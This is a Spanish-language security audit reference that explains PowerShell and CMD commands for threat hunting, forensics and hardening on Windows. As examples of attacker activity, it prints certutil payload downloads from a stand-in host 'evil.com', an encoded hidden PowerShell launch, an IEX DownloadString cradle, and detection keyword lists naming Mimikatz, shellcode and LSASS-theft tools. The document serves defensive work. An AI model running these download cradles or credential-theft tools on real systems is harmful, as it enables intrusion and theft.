

# Análisis Exhaustivo de Comandos PowerShell para Auditoría de Seguridad Empresarial

**Fecha de análisis:** 2 de noviembre de 2025

**Documento fuente:** windows\_powershell\_comandos\_traducido.pdf

**Propósito:** Identificación y categorización de comandos PowerShell relevantes para auditorías de seguridad, detección de amenazas y respuesta a incidentes

## Tabla de Contenidos

- [1. Resumen Ejecutivo](#)
- [2. Comandos por Categoría](#)
- [3. Comandos Críticos para Auditoría de Seguridad](#)
- [4. Matriz de Relevancia para Seguridad Empresarial](#)
- [5. Casos de Uso por Escenario de Seguridad](#)
- [6. Recomendaciones de Implementación](#)

## Resumen Ejecutivo

El documento analizado contiene **89 comandos y técnicas únicas** de PowerShell y Windows CMD, distribuidos en las siguientes categorías principales:

- Análisis de Sistema de Archivos:** 8 comandos
- Análisis de Red:** 12 comandos
- Gestión de Procesos:** 10 comandos
- Análisis de Eventos y Logs:** 15 comandos

- **Gestión de Seguridad:** 22 comandos
- **Detección de Amenazas (Threat Hunting):** 8 comandos
- **Respuesta a Incidentes:** 6 comandos
- **Windows Defender:** 11 comandos
- **Análisis de Persistencia:** 7 comandos

Nivel de relevancia para auditorías de seguridad empresarial: (5/5)

---

## Comandos por Categoría

---

### 1. ANÁLISIS DE SISTEMA DE ARCHIVOS

#### 1.1 Get-ChildItem (Archivos modificados recientemente)

```
Get-ChildItem -Path C:\ -Recurse -Force -ErrorAction SilentlyContinue |  
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1)} |  
Select-Object FullName, LastWriteTime, Length
```

**Propósito:** Identificar archivos modificados en las últimas 24 horas en todo el sistema.

**Categoría:** Sistema de Archivos, Forense Digital

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Identifica actividad de ransomware que modifica archivos masivamente
- **Respuesta a Incidentes:** Rastrea cambios no autorizados post-compromiso
- **Análisis Forense:** Establece línea temporal de modificaciones durante incidentes
- **Casos de Uso:** Investigación de malware, detección de exfiltración, análisis post-breach

**Notas de Implementación:**

- Requiere privilegios elevados para acceso completo
- **-ErrorAction SilentlyContinue** evita errores en directorios restringidos

- Puede generar alto uso de CPU en sistemas con muchos archivos
- Considerar limitar scope a directorios críticos en producción

---

## 1.2 dir /a:h (Archivos ocultos - CMD)

```
dir /a:h C:\Users\username /s
```

**Propósito:** Listar archivos y directorios ocultos recursivamente.

**Categoría:** Sistema de Archivos, Detección de Malware

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Malware frecuentemente se oculta con atributo hidden
- **Threat Hunting:** Buscar persistencia en directorios de usuario
- **Análisis Forense:** Descubrir archivos ocultos por atacantes
- **Casos de Uso:** Detección de rootkits, backdoors ocultos, archivos de configuración maliciosos

**Notas de Implementación:**

- Equivalente PowerShell: `Get-ChildItem -Hidden -Recurse`
- Combinar con análisis de hash para validación de integridad
- Verificar atributos de sistema (dir /a:h) para amenazas avanzadas

---

## 1.3 Get-FileHash (Verificación de integridad)

```
Get-FileHash -Path C:\Windows\System32\drivers\etc\hosts -Algorithm SHA256  
Get-FileHash -Path C:\ruta\baseline\hosts -Algorithm SHA256
```

**Propósito:** Calcular hash criptográfico de archivos para verificar integridad.

**Categoría:** Sistema de Archivos, Integridad, Forense

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Comparar contra baseline conocidos para detectar modificaciones
- **Respuesta a Incidentes:** Validar integridad de archivos del sistema comprometidos
- **Análisis Forense:** Crear cadena de custodia digital con hashes verificables
- **Casos de Uso:** Detección de rootkits, validación de binarios, análisis de malware

#### Archivos Críticos a Monitorear:

- `C:\Windows\System32\drivers\etc\hosts` (redirección DNS maliciosa)
- `C:\Windows\System32\*.dll` (DLL hijacking)
- `C:\Windows\System32\*.exe` (binarios del sistema)
- Archivos de configuración de aplicaciones críticas

#### Notas de Implementación:

- Algoritmos soportados: SHA1, SHA256, SHA384, SHA512, MD5
- SHA256 recomendado para auditorías de seguridad
- Mantener base de datos de hashes conocidos buenos (whitelist)
- Integrar con VirusTotal API para verificación externa

---

### 1.4 certutil -hashfile (Equivalente CMD)

```
certutil -hashfile C:\Windows\System32\drivers\etc\hosts SHA256
```

**Propósito:** Calcular hash de archivos desde CMD.

**Categoría:** Sistema de Archivos, Integridad

**Relevancia para Auditoría:** (ALTO)

#### Utilidad para Seguridad:

- Similar a Get-FileHash pero disponible en sistemas sin PowerShell
- Útil en entornos restringidos o con PowerShell deshabilitado
- Herramienta LOLBAS (Living Off the Land) - también usada por atacantes

#### Notas de Implementación:

- Monitorear uso de certutil en logs (puede indicar actividad maliciosa)
- Atacantes usan certutil para descargar payloads: `certutil -urlcache -f http://evil.com/payload.exe`
- Considerar alertas SIEM para uso anómalo de certutil

---

## 2. ANÁLISIS DE RED

### 2.1 netstat -ano

```
netstat -ano
```

**Propósito:** Listar todas las conexiones de red activas y puertos en escucha con PIDs.

**Categoría:** Red, Análisis de Conexiones

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Identificar conexiones no autorizadas o C2 (Command & Control)
- **Respuesta a Incidentes:** Determinar comunicaciones activas durante un incidente
- **Threat Hunting:** Buscar puertos no estándar o conexiones sospechosas
- **Casos de Uso:** Detección de backdoors, análisis de lateral movement, identificación de beaconing

**Parámetros:**

- `-a` : Todas las conexiones y puertos en escucha
- `-n` : Direcciones y puertos en formato numérico (evita resolución DNS)
- `-o` : Muestra PID del proceso propietario

**Notas de Implementación:**

- Correlacionar PIDs con Get-Process para identificar procesos
- Buscar conexiones ESTABLISHED a IPs externas desconocidas
- Monitorear puertos comunes de C2: 443 (HTTPS), 8080, 4444, 31337
- Alertar sobre conexiones desde procesos del sistema a Internet

---

## 2.2 Get-NetTCPConnection (Análisis avanzado con nombres de proceso)

```
Get-NetTCPConnection |  
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningPr  
@{Name="ProcessName"; Expression={(Get-Process -Id $_.OwningProcess).Name}} |  
Sort-Object ProcessName
```

**Propósito:** Análisis detallado de conexiones TCP con correlación de procesos.

**Categoría:** Red, Análisis de Conexiones, Threat Hunting

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Identificar procesos maliciosos comunicándose externamente
- **Respuesta a Incidentes:** Mapear actividad de red a procesos específicos
- **Threat Hunting:** Buscar patrones anómalos de comunicación
- **Análisis Forense:** Reconstruir actividad de red durante compromiso

**Mejoras sobre netstat:**

- Integración nativa con PowerShell pipeline
- Acceso directo a propiedades de proceso
- Filtrado y ordenamiento avanzado
- Salida estructurada para análisis automatizado

**Notas de Implementación:**

- Requiere PowerShell 5.1+
- Combinar con Get-Process para obtener Company, Path, StartTime
- Crear baseline de conexiones normales por proceso
- Alertar sobre procesos del sistema con conexiones externas inusuales

---

## 2.3 Get-NetTCPConnection (Conexiones a puertos no estándar)

```
Get-NetTCPConnection -State Established |  
Where-Object { $_.RemotePort -notin @(80, 443, 53, 25, 587, 143, 993) } |  
ForEach-Object {  
    $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue  
    [PSCustomObject]@{  
        LocalAddress=$_.LocalAddress;  
        LocalPort=$_.LocalPort;  
        RemoteAddress=$_.RemoteAddress;  
        RemotePort=$_.RemotePort;  
        State=$_.State;  
        ProcessName=$p.Name;  
        ProcessPath=$p.Path;  
        CreationTime=$p.StartTime  
    }  
} | Format-Table -AutoSize
```

**Propósito:** Detectar conexiones establecidas a puertos no convencionales que podrían indicar actividad maliciosa.

**Categoría:** Red, Detección de Amenazas, Threat Hunting

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** C2 malware frecuentemente usa puertos no estándar para evadir detección
- **Threat Hunting:** Identificar canales de comunicación inusuales
- **Respuesta a Incidentes:** Detectar backdoors y tunneling
- **Análisis de Comportamiento:** Establecer baseline de comunicaciones legítimas

**Puertos Estándar Excluidos:**

- 80 (HTTP), 443 (HTTPS), 53 (DNS)
- 25 (SMTP), 587 (SMTP submission), 143 (IMAP), 993 (IMAPS)

**Puertos Sospechosos Comunes:**

- 4444, 5555 (Metasploit default)
- 31337 (leet speak, backdoors clásicos)
- 8080, 8888 (proxies alternativos)
- 1337, 6666, 6667 (IRC C2)

- Puertos altos aleatorios (>49152)

### Notas de Implementación:

- Ampliar lista de puertos legítimos según entorno (VPN, aplicaciones corporativas)
- Verificar ProcessPath para detectar procesos en ubicaciones sospechosas
- Comparar RemoteAddress contra threat intelligence feeds
- Monitorear CreationTime para detectar procesos de corta duración

---

## 2.4 Get-DnsClientCache

Get-DnsClientCache | Select-Object Name, Data, TimeToLive

**Propósito:** Examinar caché DNS local para identificar dominios resueltos recientemente.

**Categoría:** Red, Análisis DNS, Threat Hunting

**Relevancia para Auditoría:** (ALTO)

### Utilidad para Seguridad:

- **Detección de Amenazas:** Identificar resoluciones DNS a dominios maliciosos conocidos
- **Threat Hunting:** Buscar patrones de DGA (Domain Generation Algorithms)
- **Respuesta a Incidentes:** Reconstruir actividad de red basada en consultas DNS
- **Análisis Forense:** Evidencia de comunicación con infraestructura de atacantes

### Indicadores de Compromiso en DNS:

- Dominios con alta entropía (aleatorios): `xn--qw3a5d.com`
- Subdominios excesivamente largos (DNS tunneling)
- Dominios recién registrados (RDR - Recently Registered Domains)
- TLDs inusuales: `.xyz`, `.top`, `.club`, `.cc`
- Patrones de beaconing (consultas periódicas)

### Notas de Implementación:

- Vaciar caché con `Clear-DnsClientCache` antes de captura forense



- Correlacionar con listas de dominios maliciosos (URLhaus, PhishTank)
- Monitorear dominios con TTL muy bajo (indicador de fast-flux)
- Integrar con threat intelligence feeds (MISP, AlienVault OTX)

---

## 3. GESTIÓN DE PROCESOS

### 3.1 Get-Process (Análisis detallado)

```
Get-Process | Select-Object Name, Id, Path, Company, CPU, WorkingSet, StartTime |  
Sort-Object WorkingSet -Descending | Format-Table -AutoSize
```

**Propósito:** Listar todos los procesos en ejecución con información detallada de recursos y metadata.

**Categoría:** Procesos, Análisis de Sistema, Threat Hunting

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Identificar procesos con alto consumo de recursos (cryptominers, bots)
- **Threat Hunting:** Buscar procesos sin firma digital o con Company inusual
- **Respuesta a Incidentes:** Inventariar procesos activos durante compromiso
- **Análisis de Comportamiento:** Detectar procesos anómalos o no autorizados

**Propiedades Críticas:**

- **Path:** Ubicación del ejecutable (detectar ejecución desde temp, appdata)
- **Company:** Firma del fabricante (null o desconocido = sospechoso)
- **CPU/WorkingSet:** Consumo anómalo de recursos
- **StartTime:** Procesos iniciados recientemente o en horarios inusuales

**Indicadores de Compromiso:**

- Procesos sin Path o Company
- Ejecución desde: `C:\Users\*\AppData\Local\Temp` , `C:\ProgramData`

- Nombres que imitan procesos legítimos: `svchost.exe` (con 'c'), `svch0st.exe`
- Alto consumo de CPU sin justificación

#### Notas de Implementación:

- Agregar `-IncludeUserName` (requiere admin) para ver propietario
- Combinar con `Get-AuthenticodeSignature` para verificar firmas digitales
- Crear whitelist de procesos legítimos conocidos
- Monitorear procesos hijos inusuales con `Get-Process -IncludeUserName | Select-Object *, @{Name="ParentProcess";Expression={(Get-CimInstance Win32_Process -Filter "ProcessId=$(($_.Id)).ParentProcessId}}}`

### 3.2 Get-Service (Servicios en ejecución)

```
Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, Displa
```

**Propósito:** Listar servicios actualmente en ejecución.

**Categoría:** Servicios, Análisis de Sistema

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Identificar servicios maliciosos instalados como persistencia
- **Threat Hunting:** Buscar servicios con nombres genéricos o inusuales
- **Respuesta a Incidentes:** Detener servicios comprometidos
- **Baseline:** Comparar contra configuración conocida buena

#### Notas de Implementación:

- Expandir con `Get-CimInstance Win32_Service` para obtener PathName y StartName
- Servicios sospechosos: DisplayName genérico ("Windows Service"), StartMode Auto, Path inusual
- Verificar servicios sin firma digital

- Monitorear servicios que ejecutan PowerShell o cmd directamente

---

### 3.3 Get-Process (Procesos sin ruta)

```
Get-Process | Where-Object { $_.Path -eq $null -and $_.Name -ne "Idle" -and $_.Name -ne "System" } | Select-Object Name, Id, SessionId
```

**Propósito:** Identificar procesos que no tienen ruta de archivo asociada (altamente sospechoso).

**Categoría:** Procesos, Detección de Amenazas, Forense

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Procesos inyectados, rootkits o malware avanzado frecuentemente no tienen Path
- **Threat Hunting:** Indicador inmediato de actividad sospechosa
- **Respuesta a Incidentes:** Priorizar investigación de estos procesos
- **Análisis Forense:** Posible proceso hollow o inyección de código

**Técnicas de Ataque Detectadas:**

- Process Hollowing (crear proceso legítimo y reemplazar memoria)
- Process Injection (DLL injection, APC injection)
- Fileless malware ejecutándose solo en memoria
- Rootkits que ocultan su presencia en disco

**Notas de Implementación:**

- Excluir explícitamente: Idle, System, Registry (procesos kernel legítimos)
  - Capturar memoria del proceso con Procdump para análisis offline
  - Verificar módulos cargados: `Get-Process -Id <PID> | Select-Object -ExpandProperty Modules`
  - Correlacionar con Get-NetTCPConnection para ver actividad de red
-

### 3.4 Get-WmiObject Win32\_Process (Argumentos de línea de comandos)

```
Get-WmiObject Win32_Process | Select-Object ProcessId, Name, CommandLine |  
Sort-Object Name | Format-Table -AutoSize
```

**Propósito:** Obtener línea de comandos completa con la que se ejecutó cada proceso.

**Categoría:** Procesos, Threat Hunting, Análisis Forense

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Identificar comandos codificados, ofuscados o maliciosos
- **Threat Hunting:** Buscar patrones de ataque conocidos en argumentos
- **Respuesta a Incidentes:** Reconstruir acciones realizadas por atacantes
- **Análisis de Comportamiento:** Detectar uso anómalo de herramientas legítimas (LOLBAS)

**Patrones Maliciosos en CommandLine:**

- **Codificación Base64:** `-EncodedCommand` , `-enc` , `FromBase64String`
- **Descarga de payloads:** `DownloadString` , `DownloadFile` , `Net.WebClient` , `Invoke-WebRequest`
- **Ejecución remota:** `Invoke-Expression` , `IEX` , `Invoke-Command`
- **Ofuscación:** Múltiples acentos graves, concatenación de strings, uso de variables
- **Bypass de seguridad:** `-ExecutionPolicy Bypass` , `-WindowStyle Hidden` , `-NoProfile`
- **Herramientas de ataque:** `Invoke-Mimikatz` , `Invoke-Shellcode` , `PowerSploit`

**Ejemplos de Comandos Sospechosos:**

```
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc <base64>  
cmd.exe /c certutil -urlcache -split -f http://evil.com/payload.exe  
wmic process call create "powershell -c IEX(New-Object Net.WebClient).DownloadStr  
rundll32.exe javascript:"..\mshtml,RunHTMLApplication";document.write()
```

**Notas de Implementación:**

- Crear reglas SIEM para detectar patrones maliciosos en CommandLine
- Capturar periódicamente para análisis histórico
- Combinar con análisis de parent process para detectar cadenas de ejecución
- Monitorear longitud excesiva de CommandLine (>8000 caracteres = sospechoso)

---

**3.5 wmic process (Equivalente CMD)**

```
wmic process get processid, name, commandline
```

**Propósito:** Obtener información de procesos desde CMD (equivalente a Win32\_Process).

**Categoría:** Procesos, Línea de Comandos

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- Similar a Get-WmiObject Win32\_Process pero disponible en CMD
- Útil en entornos sin PowerShell o con PowerShell deshabilitado
- Importante para compatibilidad con scripts legacy

**Notas de Implementación:**

- WMIC está deprecado en Windows 11+ (usar Get-CimInstance)
- Útil para análisis en sistemas antiguos (Windows 7/8)
- Atacantes también usan wmic para reconocimiento y lateral movement

---

**4. ANÁLISIS DE EVENTOS Y LOGS****4.1 Get-ExecutionPolicy**

```
Get-ExecutionPolicy -List  
Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope LocalMachine
```

**Propósito:** Consultar y configurar política de ejecución de scripts PowerShell.

**Categoría:** Seguridad, Configuración, Hardening

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Hardening:** Establecer políticas restrictivas para prevenir ejecución de scripts no autorizados
- **Detección de Amenazas:** Identificar cambios no autorizados en políticas de ejecución
- **Respuesta a Incidentes:** Verificar si atacantes modificaron políticas
- **Compliance:** Validar cumplimiento de políticas corporativas

**Niveles de Execution Policy:**

- **Restricted:** No se ejecutan scripts (más seguro, pero impráctico para administración)
- **AllSigned:** Solo scripts firmados por trusted publisher
- **RemoteSigned:** Scripts locales se ejecutan, remotos requieren firma (RECOMENDADO)
- **Unrestricted:** Todos los scripts se ejecutan (PELIGROSO)
- **Bypass:** Sin restricciones ni prompts (usado por atacantes)
- **Undefined:** No hay política configurada

**Scopes:**

- **MachinePolicy:** GPO nivel máquina (mayor precedencia)
- **UserPolicy:** GPO nivel usuario
- **Process:** Sesión actual
- **CurrentUser:** Usuario actual
- **LocalMachine:** Máquina local

**Notas de Implementación:**

- **Mejor práctica:** RemoteSigned + Code Signing para scripts internos
- Monitorear cambios con Event ID 4104 (ScriptBlock Logging)
- Atacantes bypassan con: `powershell -ExecutionPolicy Bypass -File script.ps1`

- Complementar con AppLocker o WDAC para control real

---

## 4.2 Get-WinEvent (Script Block Logging - Event ID 4104)

```
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |  
Where-Object { $_.Id -eq 4104 } | Select-Object TimeCreated, Message -First 20
```

**Propósito:** Analizar eventos de ScriptBlock Logging que registran todo código PowerShell ejecutado.

**Categoría:** Logging, Detección de Amenazas, Análisis Forense

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Capturar código malicioso ejecutado en PowerShell
- **Threat Hunting:** Buscar patrones de ataque en código ejecutado
- **Respuesta a Incidentes:** Reconstruir acciones del atacante paso a paso
- **Análisis Forense:** Evidencia completa de actividad PowerShell

**Event ID 4104 - PowerShell Script Block Logging:**

- Registra bloques de código PowerShell ejecutados
- Incluye código desobfuscado (PowerShell desofusca automáticamente)
- Captura contenido completo de scripts, incluso en memoria
- Nivel de detalle configurable (warning level captura código sospechoso)

**Configuración Requerida:**

- Habilitar vía GPO: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging
- Ubicación: **Microsoft-Windows-PowerShell/Operational**
- Considerar almacenamiento centralizado (forward a SIEM)

**Notas de Implementación:**

- Genera alto volumen de logs (planificar almacenamiento)
- Priorizar análisis de nivel Warning (código potencialmente malicioso)

- Combinar con Module Logging y Transcription para cobertura completa
- Buscar keywords maliciosos: Mimikatz, Invoke-Expression, DownloadString

### 4.3 Get-WinEvent (Comandos codificados)

```
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |  
Where-Object { $_.Message -like "*encodedcommand*" -or $_.Message -like "*-enc*" }  
Select-Object TimeCreated, Id, Message
```

**Propósito:** Detectar ejecuciones de PowerShell con comandos codificados en Base64 (técnica común de ofuscación).

**Categoría:** Detección de Amenazas, Threat Hunting, Análisis de Logs

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Comandos codificados son indicador fuerte de actividad maliciosa
- **Threat Hunting:** 95%+ de uso legítimo no usa -EncodedCommand
- **Respuesta a Incidentes:** Decodificar y analizar payload
- **Análisis de Comportamiento:** Establecer baseline (uso legítimo es raro)

**Por Qué es Sospechoso:**

- Atacantes codifican payloads para evadir detección
- Bypassa restricciones de caracteres especiales
- Ofusca intención del código
- Evita análisis superficial de línea de comandos

**Cómo Decodificar:**

```
$encoded = "BASE64_STRING_HERE"  
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
```

**Notas de Implementación:**



- Crear alerta SIEM de alta prioridad para este patrón
- Decodificar automáticamente para análisis
- Verificar historial del proceso padre
- Correlacionar con conexiones de red subsecuentes

---

## 4.4 Get-WinEvent (Patrones maliciosos comunes)

```
$maliciousPatterns = @('Invoke-Expression', 'IEX', 'Invoke-Mimikatz', 'Invoke-Obf',  
'Net.WebClient', 'DownloadString', 'DownloadFile', 'EncodedCommand', 'Hidden Wind',  
'New-Object', '-Enc', 'FromBase64String')  
  
$events = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEv  
  
$events | Where-Object {  
    $msg=$_ .Message;  
    ($maliciousPatterns | Where-Object { $msg -match $_ })  
} | Select-Object TimeCreated, Id, Message | Format-Table -AutoSize
```

**Propósito:** Búsqueda automatizada de patrones de ataque conocidos en logs de PowerShell.

**Categoría:** Threat Hunting, Detección de Amenazas, Análisis Automatizado

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Identificación proactiva de técnicas de ataque comunes
- **Threat Hunting:** Búsqueda eficiente de IoCs en volúmenes grandes de logs
- **Respuesta a Incidentes:** Rápida identificación de actividad maliciosa
- **Automatización:** Base para detección continua

**Patrones Incluidos y su Significado:**

1. **Invoke-Expression / IEX:** Ejecución dinámica de código (fileless malware)
2. **Invoke-Mimikatz:** Extracción de credenciales (post-explotación)
3. **Invoke-Obfuscation:** Framework de ofuscación (evasión)
4. **Net.WebClient / DownloadString / DownloadFile:** Descarga de payloads
5. **EncodedCommand / -Enc:** Comandos codificados (ofuscación)

6. **Hidden Window:** Ejecución oculta (stealth)
7. **New-Object:** Creación de objetos COM/NET (técnica de evasión)
8. **FromBase64String:** Decodificación de payloads

#### Patrones Adicionales Recomendados:

```
'Invoke-Shellcode', 'Invoke-ReflectivePEInjection', 'Empire', 'PowerSploit',  
'Get-Keystrokes', 'Get-Screenshot', 'Get-GPPPassword', 'Set-MasterBootRecord',  
'Invoke-TokenManipulation', 'Invoke-CredentialInjection', 'Get-LSASS'
```

#### Notas de Implementación:

- Actualizar lista regularmente con nuevos IoCs
- Integrar con threat intelligence feeds
- Ajustar según false positivos del entorno
- Considerar búsqueda por regex para variantes ofuscadas

---

### 4.5 Get-WinEvent (Logins fallidos - Event ID 4625)

```
Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4625 } |  
Select-Object TimeCreated,  
@{Name="Username";Expression={$_.Properties[5].Value}},  
@{Name="SourceComputer";Expression={$_.Properties[13].Value}},  
@{Name="Status";Expression={$_.Properties[7].Value}},  
@{Name="FailureReason";Expression={$_.Properties[8].Value}} |  
Format-Table -AutoSize
```

**Propósito:** Identificar intentos de inicio de sesión fallidos (posibles ataques de fuerza bruta o credential stuffing).

**Categoría:** Seguridad, Autenticación, Detección de Amenazas

**Relevancia para Auditoría:** (CRÍTICO)

#### Utilidad para Seguridad:

- **Detección de Amenazas:** Identificar ataques de fuerza bruta en progreso
- **Threat Hunting:** Buscar patrones de credential stuffing o password spraying
- **Respuesta a Incidentes:** Identificar cuentas comprometidas o bajo ataque

- **Compliance:** Auditar accesos no autorizados según normativas (PCI-DSS, HIPAA)

#### Event ID 4625 - Failed Login:

- Registra todos los intentos fallidos de autenticación
- Incluye username, razón del fallo, origen
- Crítico para detección de ataques de autenticación

#### Patrones de Ataque:

- **Brute Force:** Múltiples intentos, mismo usuario, diferentes passwords
- **Password Spraying:** Múltiples usuarios, mismo password común
- **Credential Stuffing:** Pares usuario/password robados de otros breaches

#### Sub-Status Codes Importantes:

- **0xC0000064** : Usuario no existe (enumeración de cuentas)
- **0xC000006A** : Password incorrecto (brute force)
- **0xC0000234** : Cuenta bloqueada (resultado de múltiples intentos)
- **0xC0000072** : Cuenta deshabilitada
- **0xC000006F** : Login fuera de horario permitido
- **0xC0000071** : Password expirado

#### Notas de Implementación:

- Alertar sobre: >5 fallos en 5 minutos (mismo usuario), >3 usuarios con fallos desde misma IP
- Combinar con Event ID 4740 (account lockout) para correlación
- Monitorear intentos desde IPs externas o geolocalizaciones inusuales
- Implementar rate limiting y CAPTCHA en aplicaciones web

---

## 4.6 Get-WinEvent (Bloqueos de cuenta - Event ID 4740)

```
Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4740 } |  
Select-Object TimeCreated,  
@{Name="LockedAccount";Expression={$_.Properties[0].Value}} |  
Format-Table -AutoSize
```

**Propósito:** Identificar cuentas bloqueadas por exceso de intentos fallidos.

**Categoría:** Seguridad, Autenticación, Detección de Amenazas

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Resultado de ataques de brute force exitosos (en causar bloqueo)
- **Respuesta a Incidentes:** Identificar cuentas bajo ataque activo
- **Análisis de Impacto:** Evaluar alcance de campaña de ataque
- **Gestión de Incidentes:** Priorizar desbloqueo de cuentas legítimas vs atacadas

**Event ID 4740 - Account Lockout:**

- Se genera cuando cuenta alcanza threshold de intentos fallidos
- Incluye nombre de cuenta y computadora origen del bloqueo
- Requiere auditoría de Account Lockout habilitada

**Correlación con otros eventos:**

- Combinar con 4625 (failed logins) para ver intentos previos
- Verificar 4625 para identificar origen (IP/hostname)
- Buscar 4768/4771 (Kerberos authentication) para contexto adicional

**Notas de Implementación:**

- Configurar política de lockout: 5 intentos, 15 min lockout duration
- Alertar inmediatamente sobre múltiples lockouts simultáneos
- Mantener log de bloqueos para análisis de tendencias
- Verificar si bloqueos ocurren fuera de horario laboral (altamente sospechoso)

---

## 5. GESTIÓN DE SEGURIDAD Y CONFIGURACIÓN

### 5.1 secdit /export (Política de seguridad local)

```
secdit /export /cfg C:\secpol.cfg
```

```
Get-Content C:\secpol.cfg
```

**Propósito:** Exportar configuración completa de políticas de seguridad local.

**Categoría:** Configuración, Hardening, Compliance

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Compliance:** Validar cumplimiento de baseline de seguridad (CIS, NIST, STIG)
- **Hardening:** Comparar configuración actual vs recomendada
- **Respuesta a Incidentes:** Verificar si atacantes modificaron políticas
- **Baseline:** Documentar configuración conocida buena para comparación

**Políticas Incluidas:**

- Password Policy (complejidad, longitud, historial, edad)
- Account Lockout Policy (threshold, duración)
- Audit Policy (eventos a registrar)
- User Rights Assignment (privilegios)
- Security Options (UAC, SMB, NTLM)
- Event Log settings
- Restricted Groups
- System Services

**Configuraciones Críticas a Verificar:**

```
[System Access]
MinimumPasswordLength = 14
PasswordComplexity = 1
PasswordHistorySize = 24
MaximumPasswordAge = 60
LockoutBadCount = 5
LockoutDuration = 15
EnableAdminAccount = 0

[Registry Values]
MACHINE\System\CurrentControlSet\Control\Lsa\RestrictAnonymous=4,1
```

```
MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1  
MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionShar
```

### Notas de Implementación:

- Exportar regularmente (mensual) para tracking de cambios
- Comparar con template CIS Benchmark usando `secedit /analyze`
- Automatizar verificación de desviaciones de baseline
- Integrar en proceso de hardening y patching

## 5.2 gpresult /h (Reporte de GPO)

```
gpresult /h C:\GPReport.html
```

**Propósito:** Generar reporte HTML detallado de todas las Group Policy Objects aplicadas.

**Categoría:** Configuración, Active Directory, Compliance

**Relevancia para Auditoría:** (CRÍTICO)

### Utilidad para Seguridad:

- **Compliance:** Verificar políticas de seguridad aplicadas vs configuradas
- **Troubleshooting:** Identificar conflictos o políticas no aplicadas
- **Respuesta a Incidentes:** Verificar si GPOs fueron modificadas
- **Documentación:** Registrar configuración efectiva del sistema

### Información Incluida:

- Computer Configuration policies aplicadas
- User Configuration policies aplicadas
- GPO precedence y herencia
- Security groups membresías
- WMI filters aplicados
- Configuraciones específicas (scripts, registry, security settings)

### Alternativa PowerShell:

```
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\GPReport.html
```

### Notas de Implementación:

- Ejecutar como admin y como usuario para ver ambas perspectives
- Comparar entre sistemas para consistencia
- Verificar que GPOs de seguridad críticas están aplicadas
- Alertar sobre GPOs no esperadas o modificadas recientemente

## 5.3 Get-Service (Servicios automáticos)

```
Get-Service | Select-Object Name, DisplayName, StartType, Status |  
Where-Object { $_.StartType -eq "Automatic" } | Sort-Object Name |  
Format-Table -AutoSize
```

**Propósito:** Listar servicios configurados para inicio automático.

**Categoría:** Servicios, Persistencia, Hardening

**Relevancia para Auditoría:** (ALTO)

### Utilidad para Seguridad:

- **Detección de Amenazas:** Servicios automáticos son vector común de persistencia
- **Threat Hunting:** Identificar servicios no autorizados o sospechosos
- **Hardening:** Deshabilitar servicios innecesarios (reducir superficie de ataque)
- **Baseline:** Comparar contra lista de servicios autorizados

### Servicios que Deberían estar Deshabilitados (típicamente):

- RemoteRegistry (acceso remoto a registro)
- RemoteAccess (routing y remote access)
- WinRM (si no se usa PowerShell remoting)
- Telnet
- FTP Publishing Service
- SNMP Service (si no se monitorea)

- Print Spooler (en servidores no print servers)

### Servicios Sospechosos:

- DisplayName genérico: "Windows Service", "System Service"
- StartName inusual (no SYSTEM/LOCAL SERVICE/NETWORK SERVICE)
- PathName en directorios de usuario o temp

### Notas de Implementación:

- Expandir con `Get-CimInstance Win32_Service` para PathName completo
- Verificar firma digital de binarios de servicios
- Monitorear creación de nuevos servicios (Event ID 7045)
- Comparar StartType entre reboots para detectar cambios

---

## 5.4 Get-LocalUser

```
Get-LocalUser | Select-Object Name, Enabled, PasswordRequired,  
PasswordLastSet, LastLogon, AccountExpires | Format-Table -AutoSize
```

**Propósito:** Listar todas las cuentas locales y sus propiedades de seguridad.

**Categoría:** Cuentas, Autenticación, Compliance

**Relevancia para Auditoría:** (CRÍTICO)

### Utilidad para Seguridad:

- **Detección de Amenazas:** Identificar cuentas no autorizadas creadas por atacantes
- **Compliance:** Verificar políticas de passwords y gestión de cuentas
- **Hardening:** Identificar cuentas obsoletas o sin expiración
- **Respuesta a Incidentes:** Detectar cuentas backdoor

